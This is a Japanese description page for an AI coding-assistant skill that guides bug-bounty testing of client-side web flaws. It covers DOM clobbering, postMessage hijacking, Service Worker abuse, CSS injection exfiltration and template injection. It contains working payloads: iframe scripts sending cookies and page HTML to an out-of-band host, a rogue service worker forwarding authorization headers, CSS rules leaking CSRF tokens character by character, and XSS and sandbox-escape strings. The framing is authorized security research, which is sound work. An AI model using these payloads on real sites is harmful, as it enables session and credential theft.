hunt-dom について
DOM Clobbering、PostMessage、Service Worker、CSS によるデータ外部送信、クライアントサイドテンプレートインジェクションを調べるスキルです。静的な兆候だけで判断せず、ブラウザーでの再現や CSP などの制約確認を重視します。
主な機能
- 01DOM Clobbering と DOM-XSS の検査
- 02PostMessage の送信元検証テスト
- 03Service Worker の登録と永続性の検証
- 04CSS 属性値によるデータ外部送信テスト
- 05クライアントサイドテンプレートインジェクション検査
- 06フレームワークの HTML シンク追跡
活用シーン
- 01スクリプトを除去しマークアップを許可するページのテスト
- 02ウィンドウ間メッセージ処理のレビュー
- 03同一オリジンのスクリプトによる Service Worker 登録の確認
- 04CSS インジェクションによるトークン漏えいの評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-domインストール後、Claude Code で/hunt-domを入力して読み込まれたか確認します。
詳細
HUNT-DOM — DOM クラバリング / PostMessage / Service Worker / CSS 流出
最重要の標的
DOM ベースの攻撃は被害者のブラウザー内で実行されるため、多くの場合、サーバーはペイロードを認識しません。そのため、WAF やサーバー側の入力フィルターは適用されません。PostMessage で送信元を検証していない場合、XSS を使わずにクロスオリジンでトークンを窃取できます。
価値の高い攻撃チェーン:
- DOM クラバリング → DOM-XSS / 認証バイパス — HTML マークアップのインジェクション(
<script>なし)によって、window.configのような JavaScript グローバルを上書きしたり、document.getElementByIdをシャドーイングしたりします。その後、アプリがその値を URL やコードとして扱うと、スクリプトがフィルターされるマークアップのみのインジェクションでもシンクが実行されます。 - PostMessage の送信元検証なし → セッション窃取 / DOM-XSS —
event.originを検証せずにevent.dataを信頼するmessageハンドラーがあると、攻撃者は iframe や opener を介して特権アクションを実行したり、シンクに値を渡したりできます。 - Service Worker の悪用 — 保存型 XSS を介して同一オリジンの SW スクリプト(アップロード、オープンリダイレクト、または対象が配信するパスから到達可能)を登録し、対象範囲内のすべての
fetchを傍受して、認証情報を継続的に取得します。 - CSS 流出 — 属性値セレクター(
input[value^="a"])を使うと、JavaScript を一切使わずに CSRF トークン / API キー / nonce を 1 文字ずつ OOB ホストへ漏えいさせられます。
背景 — 本内容の元となった公開研究
- DOM クラバリング / DOM-Invader — Gareth Heyes と PortSwigger Web Security Academy の「DOM clobbering」トピック。DOM-Invader には専用のクラバリングスキャナーが搭載されています。シンクの分類は Academy の DOM ベースの脆弱性ラボに対応しています。
- DOMPurify のクラバリングと mXSS バイパス — Michał Bentkowski(Securitum)による、クラバリングとミューテーション XSS を使って HTML サニタイザーをバイパスするブログシリーズ。
- jQuery の
htmlPrefilterにおける自己終了タグ XSS — CVE-2020-11022 と CVE-2020-11023(jQuery < 3.5.0)。攻撃者が指定した HTML を.html()/.append()に渡すと、実行可能なマークアップに変化します。バンドルされている jQuery のバージョンを grep してください。これは、実際の環境で最もよく見られる DOM-XSS の根本原因のひとつです。 - CSS による情報流出 — d0nut の「CSS Injection Attacks」 / 「Stealing Data With CSS」の研究(連続した
@importの再帰で文字ごとの位置制約を取り除く手法)。
再現した内容だけを引用してください。これらをレポートで「証拠」として貼り付けないでください。実際の対象に対する PoC が証拠です。ここで挙げた研究は、手法の出典を示すものであり、重大度を誇張するためのものではありません。
攻撃対象の手掛かり
# Injection points that allow MARKUP but may strip <script>:
user bio / display name / comment / markdown preview / SVG upload / CMS rich-text
# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
*/sso/* */embed/* */widget/* */oauth/* /sdk.js pay/checkout iframes
# Service worker presence:
/sw.js /service-worker.js /firebase-messaging-sw.js /ngsw-worker.js (Angular)
# CSS injection points:
?theme= custom-css profile field email-template editor style= passthrough
フェーズ 1 — DOM クラバリング
# Signal: app reads element IDs/names as if they were JS objects, OR feeds a
# clobberable global into a sink (location, innerHTML, eval, script.src).
# Inject MARKUP (no script) at a sink that lets named/id'd elements through.
# Single-level clobber of window.config:
# <a id="config" href="https://evil.com">
# Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
# <a id="config"></a><a id="config" name="url"> # window.config.url resolves to an attacker-controlled element/string
# Clobber a string-coerced URL value (anchor toString() == href):
# <a id="x"></a><a id="x" name="y" href="https://evil.com"> # x.y -> href
# Nested window.a.b.c via form/inputs:
# <form id="a"><input id="b" name="c" value="clobbered"></form>
# baseURI / relative-URL hijack:
# <base href="https://evil.com/"> # bends every relative src/href
// Browser console: find globals that are clobberable AND reach a sink.
// A var only matters if the app later concatenates it into a URL/HTML/eval.
const susp = ['config','settings','options','appConfig','init','data','user',
'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
const v = window[k];
// HTMLCollection / element => already clobbered or clobberable namespace
if (v && (v instanceof Element || v instanceof HTMLCollection))
console.log('[CLOBBERED/NAMESPACE]', k, v);
else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
});
# Source review: find globals fed into sinks (this is what makes clobbering exploitable)
curl -s "https://$TARGET/" | grep -nE \
"document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\
location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]"
# DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.
jQuery の観点: バンドルに jQuery < 3.5.0 が含まれている場合、.html() / .append() に渡された攻撃者の HTML が自己変化して実行されます(CVE-2020-11022 / CVE-2020-11023)。バージョンを確認してから、<style><style /><img src=x onerror=alert(document.domain)> をテストしてください。
フェーズ 2 — PostMessage の乗っ取り
バグの種類は 2 つあります。(a) リスナーがクロスオリジンのデータを信頼し、シンクや特権アクションを操作する。(b) 送信側がターゲットオリジンを '*' にして秘密情報をブロードキャストし、どのフレーミングページからも読み取れるようにする。
# Find handlers and flag the ones with NO origin check
grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \
| grep -vE "\.origin\b"
# Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)
# Senders that leak: grep for postMessage(<secret>, '*')
grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null
<iframe id="f" src="https://TARGET/page-with-listener"></iframe>
<script>
document.getElementById('f').onload = () => {
const w = document.getElementById('f').contentWindow;
// Shape the payload to whatever the handler routes into a sink:
w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*');
};
</script>
<iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
<pre id="out"></pre>
<script>
addEventListener('message', e => {
// Only count it if e.origin is the TARGET and data carries a secret
out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof
});
</script>
誤検出を避けるための確認:一部だけを検証するハンドラー(
origin.indexOf('target.com')>-1、endsWith('target.com')、正規表現target\.com)も依然として脆弱です。target.com.evil.comまたはeviltarget.comでバイパスしてください。そのような類似ホストから PoC を配信し、メッセージが引き続き届くことを示して確認します。
PostMessage ハンドラーの競合 — 送信元が設定される前にメッセージを先取りする
静的な送信元 / 送信者のチェック以外にも、一部のハンドラーは最初のメッセージを信頼したり、フレームの読み込み中に event.origin がまだ "" / null の状態で読み取ったりします。競合を利用してください。iframe / ポップアップの読み込み中に postMessage を短い間隔で連続送信するか、ナビゲーション前に about:blank から送信して、正規の送信者より先、または厳密な送信元設定が実行される前にメッセージを届かせます。「最初のメッセージ = 信頼できる」と仮定しているハンドラーをすべてテストしてください。開示済み:reports/381356。
フェーズ 3 — Service Worker の悪用
厳守事項(よくある間違いの訂正): SW スクリプトの URL は、register() を呼び出すページと同一オリジンでなければなりません。クロスオリジンのスクリプト URL(https://evil.com/sw.js)は SecurityError をスローします — クロスオリジンの SW スクリプト 登録を有効にするヘッダーは存在しません。Service-Worker-Allowed は、同一オリジンのスクリプトが制御できるスコープを広げるだけで、スクリプトを配置できる場所を広げるものではありません。
したがって、現実的な経路は次のとおりです。SW スクリプトをターゲットオリジン上に配置し(JS として配信されるファイルアップロード、オリジンがスクリプトとして反映するオープンリダイレクト/パス、text/javascript を返す JSON/JSONP エンドポイント、あるいは制御下にある既存のルートなど)、その後、同一オリジンの XSS からそれを登録します。
# Enumerate existing SW + its scope
curl -s "https://$TARGET/" | grep -iE "serviceWorker\.register|navigator\.serviceWorker"
for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do
curl -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done
curl -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener\('fetch'|caches"
# Look for an upload/route that returns Content-Type: text/javascript on YOUR content:
# curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type
// Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js
// served by the target). scope must be <= the directory the script is served from
// unless the response carries Service-Worker-Allowed.
navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
.then(r => fetch('https://OOB/sw-registered?scope='+r.scope)) // OOB proof of registration
.catch(e => console.log('SW reg failed', e.name)); // SecurityError => wrong origin/scope
// evil-sw.js (served from the TARGET origin):
self.addEventListener('fetch', e => {
e.respondWith(fetch(e.request.clone()).then(async resp => {
// Exfil URL + any auth header the page attaches, to OOB
fetch('https://OOB/sw-intercept', {method:'POST',
body: JSON.stringify({url: e.request.url,
auth: e.request.headers.get('authorization')})});
return resp;
}));
});
永続性に関する注記:SW はタブを閉じても存続し、スコープ内で次回の訪問時に再実行されます — これがこれを Critical たらしめている点です。永続性を確認するには、すべてのタブを閉じ、オリジンを再度開き、XSS を再発火させることなく新たな OOB ヒットが発生することを示します。
フェーズ 4 — CSS インジェクション / 流出
# Prereq: attacker controls CSS (custom-theme field, style= passthrough, email
# template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr.
# Step 1 confirm injection: inject "color:red" on a known element, observe render.
# Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB.
スコープに関する注意(誇張の訂正): CSS 流出はスクリプト実行をブロックする CSP をバイパスしますが、
style-src/img-src/default-src/connect-srcが外部オリジンを制限している CSP、またはform-actionをバイパスするものではありません。img-src 'self'が設定されている場合、url(https://OOB/...)はブロックされます。常にライブのContent-Security-Policyヘッダーを最初に確認してください。外部リソースのオリジンがロックダウンされている場合、CSS 流出は不可能であり、主張するのではなくその旨を述べるべきです。
/* One request fires only for the matching first char. */
input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); }
input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); }
/* ...all chars... then chain @import to leak position 1 conditioned on position 0, etc. */
meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); }
# Generate a single-position CSS exfil set (loop positions with sequential @import in practice)
import string
chars = string.ascii_letters + string.digits + '-_'
attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0
print("\n".join(
f'input[{attr}][value^="{c}"]{{background:url({oob}?p={pos}&c={c})}}' for c in chars))
# Real exfil needs recursion: serve a stylesheet whose @import pulls the next
# position's rules only after the current prefix matched (d0nut technique) —
# this removes the "static input, one char" limitation.
検証:証拠となるのはOOB ヒットであり、レンダリングされた色ではありません。Collaborator / request-bin を立ち上げ、正しい文字ごとに 1 件のヒットが発生して実際のトークンが形成されることを示し、その後そのトークンを状態変更を伴う CSRF リクエストで使用して実証します。OOB コールバックがない場合 = 所見なし(0 バイトの画像や CSP でブロックされたリクエストは、DevTools 上では成功と区別がつきません)。
フェーズ 5 — dangerouslySetInnerHTML / フレームワークのシンク
grep -rnE "dangerouslySetInnerHTML|v-html=|\[innerHTML\]=|\.html\(" recon/$TARGET/ --include="*.js" 2>/dev/null
# In minified Next/React bundles:
curl -s "https://$TARGET/_next/static/chunks/pages/index.js" | grep -oP 'dangerouslySetInnerHTML.{0,120}'
# Trace whether user data reaches it WITHOUT a sanitizer (DOMPurify/sanitize-html).
# If DOMPurify IS present, check for clobbering/mXSS bypass (Bentkowski research) and version.
フェーズ 6 — クライアントサイドテンプレートインジェクション
# Detect framework, then test the {{}} sink in a sandbox-bypass form.
grep -rnE "angular|vue|handlebars|mustache|nunjucks|alpinejs|\bv-|ng-app" recon/$TARGET/ --include="*.js" 2>/dev/null | head
# Probe (server may render, so confirm it's CLIENT-side by viewing rendered DOM, not curl):
# {{7*7}} -> 49 in the live DOM (not in raw HTML) => CSTI
# AngularJS sandbox-escape style payloads (version-dependent; older 1.x):
# {{constructor.constructor('alert(document.domain)')()}}
# Vue: {{_c.constructor('alert(1)')()}} (varies by Vue 2/3 build)
チェーン表
| DOM の所見 | チェーン先 | 影響 |
|---|---|---|
DOM Clobbering → クラバーされた URL が script.src/location に入る | マークアップのみのインジェクション下での DOM-XSS | 高 / 認証バイパス |
| PostMessage のオリジンチェックなし/弱い(リスナー) | データ → innerHTML/eval/location シンク | DOM-XSS → ATO |
PostMessage targetOrigin:'*' 送信側 | 任意のフレーミングページがトークン/認証コードを読み取る | クロスオリジンのトークン窃取 |
| CSS 流出(OOB 確認済み) | CSRF トークンを漏洩 → CSRF を発火 | CSRF チェーン(中以上) |
| XSS 経由の同一オリジン Service Worker | スコープ内のすべての fetch と認証ヘッダーを傍受 | 永続的 ATO(Critical) |
| dangerouslySetInnerHTML、サニタイザーなし | 格納型 DOM-XSS | XSS → ATO |
ツール
# DOM Invader (built into Burp browser) — sources→sinks, postMessage logger, clobbering scanner
# postMessage-tracker — Chrome extension logging cross-window messages
# Burp Collaborator / interactsh / request-bin — MANDATORY OOB sink for CSS-exfil & SW PoCs
# Verify any tool URL before citing it in a report; do not paste unverified repo links.
検証(誤検知を避けるための規律)
リポジトリの基準に従ってください。DevTools で 発火する 手法は、影響が OOB で確認され、状態が証明されるまでは、脆弱性ではありません。
- DOM Clobbering — 汚染された値が実際にシンクに到達することを示します(XSS ペイロードが実行される、またはアプリが攻撃者の URL から遷移/読み込みを行う)。汚染可能なグローバル変数がシンクに到達しない場合、影響はありません。報告しないでください。
- PostMessage — チェックが ない のか、不十分 なのかを区別します。よく似たオリジンから不十分なチェックを回避し、OOB で取得します。ノイズの多い
messageログだけでは証拠になりません。特権操作またはトークンの窃取を示してください。 - CSS exfil — 正しい文字ごとの OOB コールバックだけが証拠です。 まず CSP を確認します。
img-src/style-src/connect-src/default-srcが外部オリジンを制限していれば、成立しません。ブロックされたurl()は Network タブ上で成功時と区別できません。Collaborator 側で確認してください。 - Service Worker — 登録には同一オリジンのスクリプトが必要です。
SecurityErrorが発生した場合は、誤ったオリジンを指定しています。永続性 を証明してください(タブを閉じる → 再度開く → 新たな OOB ヒットがあること、XSS が再発火しないこと)。 - 全般 — 各テストで一意のマーカー(
btoa(domain)+nonce)を使用し、OOB ヒットがバックグラウンドの通信ではなく、あなたのペイロードによるものだと特定できるようにします。これらはクライアント側の問題なので、生の HTML ではなく、レンダリング後の DOM の差分を比較してください。
深刻度:
- 同一オリジンの Service Worker → 認証情報の永続的な傍受:Critical
- PostMessage のデータ → DOM-XSS/トークン窃取 → ATO:High–Critical
- DOM Clobbering → 認証/セッションに到達する DOM-XSS:High
- CSRF トークンの CSS exfil(OOB で証明済み)→ CSRF:Medium(連鎖する CSRF がアカウントに重大な影響を及ぼす場合は引き上げ)